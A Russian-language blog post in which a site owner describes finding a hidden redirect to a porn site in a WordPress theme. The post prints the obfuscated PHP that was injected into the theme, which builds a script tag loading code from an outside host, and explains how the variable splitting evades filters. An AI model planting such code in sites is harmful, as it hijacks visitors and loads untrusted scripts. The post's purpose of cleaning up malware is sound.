Предыстория: сегодня вечером настраивал шаблонную тему на сайте, работающем под управлением WordPress. Все отлично работает, и вопросов вроде как и нет — кроме качества отображения сайта на мобильном телефоне. Сказано — сделано. Берем в руки телефон, включаем браузер и вводим ссылку на сайт… и с некой долей рассеянности наблюдаем как сайт, вместо стабильной работы переадресуется на некий порнушный портал. Беда-печаль, и что-то с этим нужно делать.
Разберемся вместе 😉
Что сделано: в режиме инкогнито запущен сайт в браузере на компьютере — что бы убедиться в наличии проблемы окончательно. Увы — проблема осталась. В отдельной вкладке открываем исходный код страницы, в которой пытаемся найти ссылку, на которую переадресуется сайт. Ссылка найдена. И теперь — дело за малым — найти ссылку в коде темы, которая использована в сайте. Берем FileZilla, сливаем на локальную машину всю тему целиком с хостинга. Пытаемся найти ссылку поиском по тексту, и … ничего не находим. В этот момент мне стало странно. Ссылка есть, но в коде — ее нет. Подумав немного — решил искать не ссылку, а близкие к ней части кода. В моем случае это строки:
<!— content-gallery —>
<!— content —>
расположенные чуть выше ссылки (напомню — она видна в случае, если мы смотрим на исходный код страницы, но совершенно не определяется, если мы пытаемся найти ее в исходном коде темы). Итак, начинаем искать указанный код в файлах и без проблем находим его. А вот ниже я нашел некую абракадабру, которая на постороннюю ссылку не была похожа совершенно.

Напомню, что хоть я и далек от программирования, читать код немного умею. Если запастись терпением можно понять, что представленный выше код является примером так называемого «обфусцированного» кода — т.е. изначально запутанного. В моем случае выглядело это следующим образом: ссылка переадресации была разбита на некоторое количество частей, каждая из которых была обозначена как отдельная переменная.
Обфусцированный код:
<?php $sdjdf=»scr»;$oe=»ipt»;$p32aps_asd=»type='»;$oaspd03=»tex»;$ijda=»t/ja»;$o4=»vasc»;$fs_3=»ript'»;$sspc=» «;$annl=»/»;$ia=»<«;$ai=»>»;
$kraj=$ia.$annl.$sdjdf.$oe.$ai;$opa1=$ia.$sdjdf.$oe.$sspc.$p32aps_asd.$oaspd03.$ijda.$o4.$fs_3.$sspc; $p30=»sr»; $ccc=»c=’http://»;$dsad=»au»;$sa3j=»to»;$ois=»-«;$osa=»im»;$dota=».»;
$co2=»co»;$zxdml=»m/4ad»;$meg=»54/s»;$geai=»ju»;$k34d=»342′»; $st0=$p30.$ccc.$dsad.$sa3j.$ois.$osa;$s2t=$dota.$co2.$zxdml.$meg.$geai.$k34d.$ai;$st0.=$s2t;
echo $opa1.$st0.$kraj; ?>
Пример расшифровки кода:
$sdjdf=»scr»
$p32aps_asd=»type='»
$annl=»/»
$ccc=»c=’http://»
Благодаря этому ходу можно не только скрыть ссылку, но и обойти систему защиты от переходов — ведь фильтр видит только переменные, каждая из которых не представляет из себя ничего опасного. Однако — если все переменные свести в одну строну с помощью механизма конкатенации (сливания) — бессмысленный набор переменных становится командой переадресации. После этого остается всего лишь отправить на отображение и … все 🙂
Пример запуска обфусцированного кода:
echo $opa1.$st0.$kraj;
Как видно из представленного выше примера — разбитый на большое количество переменных код переадресации на целевой сайт повторно представлен в виде переменных (но уже меньшего количества), после чего все они сведены в единое целое.
Просто, элегантно, эффективно.
Конечно же, вредоносный код был удален из исходников, и сейчас сайт работает в штатном режиме. Тьфу-тьфу 🙂
Всем спасибо.
Будут вопросы — пишите!
Support the Blog!
Running a blog takes a lot of effort, time, and passion. Your donations help improve the content, inspire new ideas, and keep the project going.
If you’ve enjoyed the blog’s materials, any support would mean the world to me. Thank you for being here! ❤️